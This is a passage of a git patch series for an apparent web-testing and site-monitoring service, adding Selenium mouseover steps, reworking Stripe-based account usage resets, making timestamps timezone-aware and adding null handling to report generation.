+                    start_time=datetime.now(timezone.utc)
+                )
+
+                try:
+                    msg = f'mouseover element "{step["action"]["element"]["selector"]}" | run_id: {str(self.caserun.id)}'
+                    print(msg)
+
+                    # updating flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message':msg
+                        })
+
+                    # using selenium, find and moving mouse to the 'element' 
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+                                    
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(self.scroll_to_center, element)
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # moving mouse to element
+                    self.actions.move_to_element(element).perform()
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+                    image = self.save_screenshot(run_type='run')
+                
+                except Exception as e:
+                    image = self.save_screenshot(run_type='run')
+                    exception = self.format_exception(e)
+                    status = 'failed'
+
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                # update caserun
+                self.update_caserun(
+                    index=i, type='action', 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
+                    exception=exception,
+                    image=image
+                )
+
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
+
 
             if step['action']['type'] == 'click':
                 exception = None
@@ -1086,7 +1149,6 @@ def pre_run(self) -> None:
                 self.steps[i]['action']['image'] = img_url
 
 
-            
             if step['action']['type'] == 'scroll':
                 try:
                     print(f'scrolling -> {step["action"]["value"]}')     
@@ -1135,7 +1197,41 @@ def pre_run(self) -> None:
                 img_url = self.save_screenshot(run_type='pre_run')
                 self.steps[i]['action']['image'] = img_url
         
-        
+
+            if step['action']['type'] == 'mouseover':
+                try:
+                    print(f'moving mouse to element -> {step["action"]["element"]}')
+                    # using selenium, find and click on the 'element' 
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+                                    
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(self.scroll_to_center, element)
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get elem img & update self.steps
+                    if not self.steps[i]['action'].get('img'):
+                        img = self.get_element_image(element)
+                        self.steps[i]['action']['img'] = img
+
+                    # moving mouse to element
+                    self.actions.move_to_element(element).perform()
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+                
+                except Exception as e:
+                    print(e)
+                
+                # get screenshot and save
+                img_url = self.save_screenshot(run_type='pre_run')
+                self.steps[i]['action']['image'] = img_url
+
+
             if step['action']['type'] == 'change':
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 

From 7ef7d5cfd7aa1d9ac1bc1a8f4ea5e6abb5c9ac99 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Jun 2025 13:35:50 +0200
Subject: [PATCH 0962/1099] fix: added garabage collection

---
 setup/scripts/local.sh | 1 +
 1 file changed, 1 insertion(+)

diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 8d822ade..00ff59b9 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -4,6 +4,7 @@
 # " echo 'export CURSION_ROOT=<your/path/to/cursion/server>' >> ~/.zshrc   (or ~/.bash_profile) " 
 
 cd $CURSION_ROOT &&
+docker system prune -f &&
 {   
     docker compose -f docker-compose.yml down &&
     docker volume rm cursion_server cursion_beat cursion_celery &&

From f75c6fa050be94ca285ed6de245e3e82bd425dc1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Jun 2025 13:36:33 +0200
Subject: [PATCH 0963/1099] test: `reset_account_usage()`

---
 app/api/tasks.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ba47a9b1..a4c8c81c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2994,10 +2994,11 @@ def reset_usage(account):
             try:
                 sub = stripe.Subscription.retrieve(account.sub_id)
                 sub_reset_date = datetime.fromtimestamp(sub.current_period_start)
+                print(f'days since reset: {(today - sub_reset_date).days}\ntoday: {today.date()}\nlast reset: {sub_reset_date.date()}')
                 if (today - sub_reset_date).days >= 30 or today.date() == sub_reset_date.date():
                     needs_reset = True
             except stripe.error.StripeError as e:
-                logger.info(f"Stripe error for account {account.id}: {e}")
+                logger.info(f'Stripe error for account {account.id}: {e}')
 
         # reset free account
         elif account.type == 'free':

From d883084f78c62fe42009e8c47bb0f27cc8c030ab Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Jun 2025 14:36:06 +0200
Subject: [PATCH 0964/1099] update: added better checks for
 `reset_account_usage()`

---
 app/api/management/commands/create_tasks.py |  4 +--
 app/api/tasks.py                            | 33 +++++++--------------
 2 files changed, 12 insertions(+), 25 deletions(-)

diff --git a/app/api/management/commands/create_tasks.py b/app/api/management/commands/create_tasks.py
index dafb0c32..71f35fef 100644
--- a/app/api/management/commands/create_tasks.py
+++ b/app/api/management/commands/create_tasks.py
@@ -26,8 +26,8 @@ def handle(self, *args, **options):
                 'task': 'api.tasks.data_retention'
             },
             {
-                'every': 1,
-                'period': IntervalSchedule.DAYS,
+                'every': 12,
+                'period': IntervalSchedule.HOURS,
                 'name': 'Reset Account Usage',
                 'task': 'api.tasks.reset_account_usage'
             },
diff --git a/app/api/tasks.py b/app/api/tasks.py
index a4c8c81c..1bceb3ad 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2974,10 +2974,6 @@ def reset_usage(account):
 
         # defaults
         needs_reset = False
-
-        # skip non active
-        if not account.active:
-            continue
         
         # get last reset data
         last_reset_str = (account.meta or {}).get('last_usage_reset')
@@ -2994,9 +2990,11 @@ def reset_usage(account):
             try:
                 sub = stripe.Subscription.retrieve(account.sub_id)
                 sub_reset_date = datetime.fromtimestamp(sub.current_period_start)
-                print(f'days since reset: {(today - sub_reset_date).days}\ntoday: {today.date()}\nlast reset: {sub_reset_date.date()}')
-                if (today - sub_reset_date).days >= 30 or today.date() == sub_reset_date.date():
+                last_reset = sub_reset_date if not last_reset else last_reset    
+
+                if (today - sub_reset_date).days >= 30 or today.date() >= last_reset.date():
                     needs_reset = True
+
             except stripe.error.StripeError as e:
                 logger.info(f'Stripe error for account {account.id}: {e}')
 
@@ -3013,21 +3011,6 @@ def reset_usage(account):
         if needs_reset:
             reset_usage(account)
 
-        return None
-
-
-
-
-@shared_task
-def temp_account_reset() -> None:
-
-
-    for account in Account.objects.all():
-        usage = get_usage_default()
-        usage['sites'] = Site.objects.filter(account=account).count()
-        account.usage = usage
-        account.save()
-
     return None
 
 
@@ -3127,8 +3110,8 @@ def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
 @shared_task
 def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """ 
-    Deletes all `Tests`, `Scans`, `CaseRuns`, 
-    `Logs`, and `Processes` that have reached expiry
+    Deletes all `Tests`, `Scans`, `CaseRuns`, `FlowRuns`,
+    `Logs`, `Issues`, and `Processes` that have reached expiry
 
     Expects: {
         account_id   : str, 
@@ -3149,6 +3132,7 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
         caseruns = CaseRun.objects.filter(account__id=account_id, time_created__lte=max_date)
         flowruns = FlowRun.objects.filter(account__id=account_id, time_created__lte=max_date)
         processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date)
+        issues = Issue.objects.filter(account__id=account_id, time_created__lte=max_proc_date)
         
         # get all old Logs
         members = Member.objects.filter(account__id=account_id)
@@ -3164,6 +3148,7 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
         flowruns = FlowRun.objects.filter(time_created__lte=max_date)
         processes = Process.objects.filter(time_created__lte=max_proc_date)
         logs = Log.objects.filter(time_created__lte=max_proc_date)
+        issues = Issue.objects.filter(time_created__lte=max_proc_date)
 
     # delete each resource in each type
     for test in tests:
@@ -3179,6 +3164,8 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
         flowrun.delete()
     for process in processes:
         process.delete()
+    for issue in issues:
+        issue.delete()
     for log in logs:
         log.delete()
     

From 80cbc57ae3e3e587775eb951aac898e1d0eaa0fb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Jun 2025 15:27:19 +0200
Subject: [PATCH 0965/1099] fix: handling account edge cases for usage reset

---
 app/api/tasks.py | 35 ++++++++++++++++++-----------------
 1 file changed, 18 insertions(+), 17 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 1bceb3ad..52a898a2 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -22,7 +22,7 @@
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
-from datetime import datetime, timedelta, timezone
+from datetime import datetime, timedelta, timezone as tz
 from redis import Redis
 from contextlib import contextmanager
 from kombu.utils.encoding import bytes_to_str
@@ -184,7 +184,7 @@ def update_schedule(task_id: str=None) -> None:
     """
     if task_id:
         try:
-            last_run = datetime.now(timezone.utc)
+            last_run = datetime.now(tz.utc)
             Schedule.objects.filter(periodic_task_id=task_id).update(
                 time_last_run=last_run
             )
@@ -429,7 +429,7 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
 
     # getting site and updating for time_crawl_start
     site = Site.objects.get(id=site_id)
-    site.time_crawl_started = datetime.now(timezone.utc)
+    site.time_crawl_started = datetime.now(tz.utc)
     site.time_crawl_completed = None
     site.save()
 
@@ -474,7 +474,7 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
                 page.save()
 
     # updating site status
-    site.time_crawl_completed = datetime.now(timezone.utc)
+    site.time_crawl_completed = timezone.now()
     site.save()
 
     logger.info('Added site and all pages')
@@ -499,7 +499,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
     
     # getting site and updating for time_crawl_start
     site = Site.objects.get(id=site_id)
-    site.time_crawl_started = datetime.now(timezone.utc)
+    site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
     site.save()
 
@@ -558,7 +558,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
             current_count += 1
 
     # updating site status
-    site.time_crawl_completed = datetime.now(timezone.utc)
+    site.time_crawl_completed = timezone.now()
     site.save()
 
     logger.info('crawled site and added pages')
@@ -1018,7 +1018,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
                 # updating latest_scan info for page
                 page.info['latest_scan']['id'] = str(scan.id)
-                page.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
+                page.info['latest_scan']['time_created'] = str(timezone.now())
                 page.info['latest_scan']['time_completed'] = None
                 page.info['latest_scan']['score'] = None
                 page.info['latest_scan']['score'] = None
@@ -1026,7 +1026,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
                 # updating latest_scan info for site
                 page.site.info['latest_scan']['id'] = str(scan.id)
-                page.site.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
+                page.site.info['latest_scan']['time_created'] = str(timezone.now())
                 page.site.info['latest_scan']['time_completed'] = None
                 page.site.save()
 
@@ -1821,7 +1821,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
 
                     # updating latest_test info for page
                     page.info['latest_test']['id'] = 'placeholder'
-                    page.info['latest_test']['time_created'] = str(datetime.now(timezone.utc))
+                    page.info['latest_test']['time_created'] = str(timezone.now())
                     page.info['latest_test']['time_completed'] = None
                     page.info['latest_test']['score'] = None
                     page.info['latest_test']['status'] = 'working'
@@ -1829,7 +1829,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
 
                     # updating latest_test info for site
                     page.site.info['latest_test']['id'] = 'placeholder'
-                    page.site.info['latest_test']['time_created'] = str(datetime.now(timezone.utc))
+                    page.site.info['latest_test']['time_created'] = str(timezone.now())
                     page.site.info['latest_test']['time_completed'] = None
                     page.site.info['latest_test']['score'] = None
                     page.site.info['latest_test']['status'] = 'working'
@@ -2490,7 +2490,7 @@ def create_flowrun_bg(*args, **kwargs) -> None:
 
                 # create init log
                 logs = [{
-                    'timestamp': datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f'),
+                    'timestamp': timezone.now().strftime('%Y-%m-%d %H:%M:%S.%f'),
                     'message': f'system starting up for run_id: {str(flowrun_id)}',
                     'step': '1'
                 },]
@@ -2511,7 +2511,7 @@ def create_flowrun_bg(*args, **kwargs) -> None:
 
                 # update flow with time_last_run
                 flow = Flow.objects.get(id=flow_id)
-                flow.time_last_run = datetime.now(timezone.utc)
+                flow.time_last_run = timezone.now()
                 flow.save()
             
             else:
@@ -2937,7 +2937,7 @@ def purge_logs(username: str=None) -> None:
 def reset_account_usage(account_id: str=None) -> None:
     """ 
     Loops through each active `Account`, checks to see
-    if timezone.today() is the start of the 
+    if timezone.now() is the start of the 
     next billing cycle, and resets `Account.usage`
 
     Expects: {
@@ -2949,7 +2949,7 @@ def reset_account_usage(account_id: str=None) -> None:
 
     # set defaults
     stripe.api_key = settings.STRIPE_PRIVATE
-    today = datetime.utcnow()
+    today = timezone.now()
 
     # get accounts
     if account_id:
@@ -2981,9 +2981,10 @@ def reset_usage(account):
 
         # format last reset date
         try:
-            last_reset = datetime.fromisoformat(last_reset_str.replace("Z", ""))
-        except ValueError:
-            pass
+            if last_reset_str:
+                last_reset = datetime.fromisoformat(last_reset_str.replace("Z", ""))
+        except:
+            last_reset = None
         
         # check stripe sub if paying account
         if account.type != 'free' and account.sub_id:

From 4c1bfed13d7134198a4ed3ac6a40fb88028c8d5c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Jun 2025 17:24:13 +0200
Subject: [PATCH 0966/1099] update: added timezone aware reset dates for
 `Accounts`

---
 app/api/models.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 4a1a14df..eaefd9b6 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -2,7 +2,7 @@
 from django.utils import timezone
 from django.urls import reverse
 from django.contrib.auth.models import User
-from datetime import datetime, timezone as tz
+from datetime import datetime
 from django.contrib.postgres.fields import JSONField
 from cursion import settings
 import uuid, secrets
@@ -276,7 +276,7 @@ def get_usage_default():
 
 def get_meta_default():
     meta = {
-        'last_usage_reset': datetime.now(tz.utc).strftime('%Y-%m-%d %H:%M:%S.%f'),
+        'last_usage_reset': str(timezone.now()),
         'coupon': {
             'code': '', 
             'discount': 0
@@ -644,11 +644,11 @@ class Schedule(models.Model):
     scope = models.CharField(max_length=100, default='account', serialize=True)
     resources = models.JSONField(serialize=True, null=True, blank=True)
     alert = models.ForeignKey('Alert', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_alert')
-    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
+    time_created = models.DateTimeField(default=timezone.now, null=True, blank=True, serialize=True)
     time_last_run = models.DateTimeField(null=True, blank=True, serialize=True)
     task_type = models.CharField(max_length=100, default='test', serialize=True)
+    begin_date = models.DateTimeField(default=timezone.now, serialize=True)
     timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True)
-    begin_date = models.DateTimeField(default=datetime.now, serialize=True)
     time = models.CharField(max_length=100, null=True, blank=True, serialize=True)
     frequency = models.CharField(default="monthly", max_length=100, serialize=True)
     task = models.CharField(max_length=500, null=True, blank=True, serialize=True)

From 183592e5136907a52ae927564a26b0fff8302937 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Jun 2025 17:24:44 +0200
Subject: [PATCH 0967/1099] update: added timezone awareness to
 `reset_account_usage()`

---
 app/api/tasks.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 52a898a2..be684e04 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2983,6 +2983,9 @@ def reset_usage(account):
         try:
             if last_reset_str:
                 last_reset = datetime.fromisoformat(last_reset_str.replace("Z", ""))
+                # if last_reset is naive, make it timezone-aware
+                if timezone.is_naive(last_reset):
+                    last_reset = timezone.make_aware(last_reset)
         except:
             last_reset = None
         

From c814a74848c1c19c44234c1034d012ee6f00c619 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Jun 2025 17:51:36 +0200
Subject: [PATCH 0968/1099] fix: timezone awareness added to stripe check

---
 app/api/tasks.py | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index be684e04..20080710 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2992,11 +2992,17 @@ def reset_usage(account):
         # check stripe sub if paying account
         if account.type != 'free' and account.sub_id:
             try:
+                # get last invoice date
                 sub = stripe.Subscription.retrieve(account.sub_id)
-                sub_reset_date = datetime.fromtimestamp(sub.current_period_start)
+                sub_reset_date = timezone.make_aware(
+                    datetime.fromtimestamp(sub.current_period_start)
+                )
+                
+                # make last_reset same as sub_reset day if none exists
                 last_reset = sub_reset_date if not last_reset else last_reset    
-
-                if (today - sub_reset_date).days >= 30 or today.date() >= last_reset.date():
+                
+                # check if invoice is 30 days or older || last_reset_date is 30 days or older
+                if (today - sub_reset_date).days >= 30 or (today - last_reset).days >= 30:
                     needs_reset = True
 
             except stripe.error.StripeError as e:

From 456d906879d0be45aedf71f08be50d93a6c4cd1a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Jun 2025 19:07:01 +0200
Subject: [PATCH 0969/1099] fix: null handling for empty audits

---
 app/api/utils/issuer.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index b353e631..248096aa 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -345,7 +345,7 @@ def _handle_test(self) -> None:
 
         # record only audits from LH components
         # that had negative scores
-        if self.test.lighthouse_delta.get('audits'):
+        if (self.test.lighthouse_delta or {}).get('audits'):
             if self.test.component_scores.get('lighthouse') < self.threshold:
                 for key in self.test.lighthouse_delta.get('scores'):
                     if 'average' not in key and 'crux' not in key:
@@ -357,7 +357,7 @@ def _handle_test(self) -> None:
         
         # record only audits from YL components
         # that had negative scores
-        if self.test.yellowlab_delta.get('audits'):
+        if (self.test.yellowlab_delta or {}).get('audits'):
             if self.test.component_scores.get('yellowlab') < self.threshold:
                 for key in self.test.yellowlab_delta.get('scores'):
                     if 'average' not in key:

From 6f294f61ccaa3e57d6d84c937ee5c8074c5fc2b2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Jun 2025 19:31:06 +0200
Subject: [PATCH 0970/1099] update: `create_test_bg()` defaults to all types
 for `post_scan`

---
 app/api/tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 20080710..155f2609 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1564,7 +1564,7 @@ def create_test(
                     site=page.site,
                     page=page,
                     tags=tags, 
-                    type=type,
+                    type=settings.TYPES,
                     configs=configs
                 )
 
@@ -1640,7 +1640,7 @@ def create_test(
             site=page.site,
             page=page,
             tags=tags, 
-            type=type,
+            type=settings.TYPES,
             configs=configs
         )
 

From 24a53ae239a0e949f6976046e784f0d3c8ceea62 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Jun 2025 20:41:04 +0200
Subject: [PATCH 0971/1099] update: expanded data types

---
 app/api/utils/definitions.py | 33 ++++++++++++++++++++++++---------
 1 file changed, 24 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/definitions.py b/app/api/utils/definitions.py
index 0dc978ea..0f2c46ae 100644
--- a/app/api/utils/definitions.py
+++ b/app/api/utils/definitions.py
@@ -18,19 +18,34 @@
         'value': 'obj.post_scan.score'
     },
     {
-        'name': 'Avg Image Score',
-        'key': 'avg_image_score',
-        'value': 'obj.images_delta.get("average_score",0)'
+        'name': 'Test Status',
+        'key': 'test_status',
+        'value': 'obj.status'
     },
     {
-        'name': 'List of Image Scores',
-        'key': 'image_scores',
-        'value': 'str([i["score"] for i in obj.images_delta["images"]])'
+        'name': 'VRT Score',
+        'key': 'vrt_score',
+        'value': 'obj.component_scores.get("vrt",0)'
     },
     {
-        'name': 'Test Status',
-        'key': 'test_status',
-        'value': 'obj.status'
+        'name': 'Logs Score',
+        'key': 'logs_score',
+        'value': 'obj.component_scores.get("logs",0)'
+    },
+    {
+        'name': 'HTML Score',
+        'key': 'html_score',
+        'value': 'obj.component_scores.get("html",0)'
+    },
+    {
+        'name': 'Yellowlab Score',
+        'key': 'yellowlab_score',
+        'value': 'obj.component_scores.get("yellowlab",0)'
+    },
+    {
+        'name': 'Lighthouse Score',
+        'key': 'lighthouse_score',
+        'value': 'obj.component_scores.get("lighthouse",0)'
     },
 
     # high-level scan score

From c02f7bc451613a3dbfcd85281452226152000bfc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Jun 2025 20:41:27 +0200
Subject: [PATCH 0972/1099] fix: resolving timezone issues

---
 app/api/utils/flowr.py     | 5 +++--
 app/api/utils/updater.py   | 5 +++--
 app/api/v1/ops/services.py | 4 ++--
 3 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index cf1f2af5..38e4f74f 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -8,7 +8,8 @@
     send_slack_bg, send_webhook_bg
 )
 from cursion import settings
-from datetime import datetime, timezone
+from django.utils import timezone
+from datetime import datetime
 import time, uuid, json, boto3, os, requests, uuid, random
 
 
@@ -49,7 +50,7 @@ def __init__(self, flowrun_id: str=None) -> object:
     
     def build_timestamp(self) -> object:
         # build timestamp
-        return datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f')
+        return timezone.now().strftime('%Y-%m-%d %H:%M:%S.%f')
 
 
 
diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
index ff954a94..a0ccfbf2 100644
--- a/app/api/utils/updater.py
+++ b/app/api/utils/updater.py
@@ -1,5 +1,6 @@
 from ..models import *
-from datetime import datetime, timezone
+from django.utils import timezone
+from datetime import datetime
 
 
 
@@ -35,7 +36,7 @@ def update_flowrun(*args, **kwargs) -> object:
     flowrun = FlowRun.objects.get(id=flowrun_id)
 
     # set timestamp
-    timestamp = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f')
+    timestamp = timezone.now().strftime('%Y-%m-%d %H:%M:%S.%f')
 
 
     # find flowrun.edge by target
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e4c580d1..91e968a9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -6417,7 +6417,7 @@ def create_flowrun(request: object=None) -> object:
 
     # create init log
     logs = [{
-        'timestamp': datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f'),
+        'timestamp': timezone.now().strftime('%Y-%m-%d %H:%M:%S.%f'),
         'message': f'system starting up for run_id: {str(flowrun_id)}',
         'step': '1'
     },]
@@ -6438,7 +6438,7 @@ def create_flowrun(request: object=None) -> object:
 
     # update flow with time_last_run
     flow = Flow.objects.get(id=flow_id)
-    flow.time_last_run = datetime.now(timezone.utc)
+    flow.time_last_run = timezone.now()
     flow.save()
 
     # signals.py should pick up this `create()`

From 8a7527ac1ee0380c1b1b07e5c195763067af4abe Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Jun 2025 21:27:04 +0200
Subject: [PATCH 0973/1099] fix: timezone handling

---
 app/api/v1/ops/services.py | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 91e968a9..f16aebee 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -7516,14 +7516,12 @@ def get_site_metrics(request: object=None) -> object:
     pages = Page.objects.filter(site=site)
 
     # get last reset day 
-    f = '%Y-%m-%d %H:%M:%S.%f'
     last_usage_date_str = account.meta.get('last_usage_reset')
     last_usage_date = None
-    if last_usage_date_str:  
-        last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
-        last_usage_date = datetime.strptime(last_usage_date_str, f)
+    if last_usage_date_str:
+        last_usage_date = datetime.fromisoformat(last_usage_date_str.replace('Z', ''))
     else:
-        last_usage_date = datetime.now() - timedelta(30)
+        last_usage_date = timezone.now() - timedelta(30)
 
     # get scans
     scans = Scan.objects.filter(

From e103c8a99cb0961ae991a02f442256a8ab366a7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Jun 2025 22:10:05 +0200
Subject: [PATCH 0974/1099] fix: added null catch to reporter

---
 app/api/utils/reporter.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 8e06ae43..577eeac4 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -388,7 +388,7 @@ def create_data(self, data_type: str) -> None:
 
                 # creating global score
                 if c_count == 0:
-                    grade_obj = self.get_score_data(data['scores'][avg_score])
+                    grade_obj = self.get_score_data((data['scores'][avg_score] or 0))
                     self.c.setFillColor(HexColor(grade_obj['color'],))
                     self.c.roundRect(
                         2*inch, 
@@ -432,7 +432,7 @@ def create_data(self, data_type: str) -> None:
                     begin_y = (self.y - .2)
 
                 # creating individual grade cards
-                grade_obj = self.get_score_data(data['scores'][cat])
+                grade_obj = self.get_score_data((data['scores'][cat] or 0))
                 self.c.setFillColor(HexColor(grade_obj['color'],))
                 self.c.roundRect(
                     .5*inch, 
@@ -491,7 +491,7 @@ def create_data(self, data_type: str) -> None:
                         )
                         
                         # get grade tab
-                        grade_obj = self.get_score_data(policy['score'], is_binary=binary)
+                        grade_obj = self.get_score_data((policy['score'] or 0), is_binary=binary)
                         self.c.setFillColor(HexColor(grade_obj['color'],)) 
                         self.c.rect(
                             log_margin*inch, 

From 3b9d34d8d7ae9bd263e423d30b1c5792a45a0896 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 21 Jun 2025 17:37:18 +0100
Subject: [PATCH 0975/1099] fix: added flowrun updater to
 `redeliver_failed_tasks()`

---
 app/api/tasks.py       | 36 +++++++++++++++++++++++++++++-------
 app/api/utils/flowr.py |  1 -
 2 files changed, 29 insertions(+), 8 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 155f2609..9243d20c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -260,7 +260,7 @@ def redeliver_failed_tasks() -> None:
     associated resource.component is null. Once found, 
     re-run those specific tasks with saved kwargs. If 
     resource appears complete but is not marked as such, 
-    update `.time_completed` with `datetime.now()`
+    update `.time_completed` with `timezone.now()`
 
     Expects: None
     
@@ -360,7 +360,7 @@ def redeliver_failed_tasks() -> None:
         # mark scan complete if checks pass
         if retried_tasks == 0 and pending_tasks == 0:
             logger.info(f'marking scan as complete')
-            scan.time_completed = datetime.now()
+            scan.time_completed = timezone.now()
             scan.save()
 
             # execute `run_test()` if test_id present
@@ -386,7 +386,7 @@ def redeliver_failed_tasks() -> None:
         for task in test.system.get('tasks', []):
 
             # define task_id
-            task_id = task.get('task_id')
+            task_id = task.get('task_id') 
 
             # check if task is "pending" (has task_id in queue)
             if task_id in all_tasks:
@@ -404,10 +404,32 @@ def redeliver_failed_tasks() -> None:
         
         # mark test incomplete if checks pass
         if retried_tasks == 0 and pending_tasks == 0:
-            test.time_completed = datetime.now()
+            test.time_completed = timezone.now()
             test.status         = 'incomplete'
             test.save()
 
+            # get flowrun info
+            first_task  = test.system.get('tasks', [])[0] or {}
+            flowrun_id  = first_task['kwargs'].get('flowrun_id') or None
+            node_index  = first_task['kwargs'].get('node_index') or None
+            
+            # update FlowRun if present
+            if flowrun_id and flowrun_id != 'None':
+                update_flowrun(**{
+                    'flowrun_id': str(flowrun_id),
+                    'node_index': node_index,
+                    'message': (
+                        f'test for {test.page.page_url} completed with status: '+
+                        f'⏺️ INCOMPLETE | test_id: {str(test_id)}'
+                    ),
+                    'objects': [{
+                        'parent': str(test.page.id),
+                        'id': str(test_id),
+                        'status': 'incomplete'
+                    }]
+                })
+
+
     return None
 
 
@@ -3132,8 +3154,8 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """
 
     # calculate max dates
-    max_date = datetime.now() - timedelta(days=days_to_live)
-    max_proc_date = datetime.now() - timedelta(days=1)
+    max_date = timezone.now() - timedelta(days=days_to_live)
+    max_proc_date = timezone.now() - timedelta(days=1)
 
     # scope resources to account if requested
     if account_id is not None:
@@ -3226,7 +3248,7 @@ def delete_admin_sites(days_to_live: int=1) -> None:
     """
 
     # calculate max date
